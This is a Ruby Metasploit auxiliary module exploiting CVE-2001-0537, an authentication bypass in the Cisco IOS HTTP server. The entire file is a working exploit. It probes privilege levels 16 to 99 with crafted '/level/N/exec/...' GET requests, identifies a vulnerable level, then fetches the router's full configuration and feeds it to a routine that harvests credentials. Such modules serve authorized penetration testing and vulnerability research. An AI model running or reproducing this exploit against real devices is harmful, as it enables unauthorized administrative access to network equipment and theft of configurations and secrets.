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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  # Exploit mixins should be called first
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  include Msf::Exploit::Remote::HttpClient
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  # Include Cisco utility methods
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  include Msf::Auxiliary::Cisco
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  # Scanner mixin should be near last
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  include Msf::Auxiliary::Scanner
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => 'Cisco IOS HTTP Unauthorized Administrative Access',
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      'Description'    => %q{
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        This module exploits a vulnerability in the Cisco IOS HTTP Server.
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        By sending a GET request for "/level/num/exec/..", where num is between
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        16 and 99, it is possible to bypass authentication and obtain full system
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        control. IOS 11.3 -> 12.2 are reportedly vulnerable. This module
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        tested successfully against a Cisco 1600 Router IOS v11.3(11d).
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      },
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      'Author'		=> [ 'aushack', 'hdm' ],
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      'License'		=> MSF_LICENSE,
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      'References'	=>
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        [
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          [ 'BID', '2936'],
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          [ 'CVE', '2001-0537'],
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          [ 'OSVDB', '578' ],
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        ],
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      'DisclosureDate' => '2001-06-27'))
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  end
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  def run_host(ip)
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    16.upto(99) do |level|
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      res = send_request_cgi({
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        'uri'  		=>  "/level/#{level}/exec/show/version/CR",
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        'method'   	=> 'GET'
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      }, 20)
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      if res and res.body and res.body =~ /Cisco Internetwork Operating System Software/
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        print_good("#{rhost}:#{rport} Found vulnerable privilege level: #{level}")
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        report_vuln(
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          {
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            :host	=> rhost,
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            :port	=> rport,
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            :proto  => 'tcp',
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            :name	=> self.name,
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            :sname  => ssl ? "https" : "http",
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            :info	=> "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/level/#{level}/exec/show/version/CR",
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            :refs   => self.references,
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            :exploited_at => Time.now.utc
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          }
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        )
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        res = send_request_cgi({
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          'uri'  		=>  "/level/#{level}/exec/show/config/CR",
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          'method'   	=> 'GET'
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        }, 20)
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        if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)<\/FORM>/mi
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          config = $2.strip
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          print_good("#{rhost}:#{rport} Processing the configuration file...")
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          cisco_ios_config_eater(rhost, rport, config)
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          report_exploit(
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            {
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              :host		=> rhost,
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              :port		=> rport,
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              :name		=> self.name,
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              :sname      => ssl ? "https" : "http",
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              :info       => "Module #{self.fullname} successfully captured the configuration file:\n#{config}"
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            }
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          )
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        else
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          print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
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        end
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        break
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      end
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    end
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  end
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end
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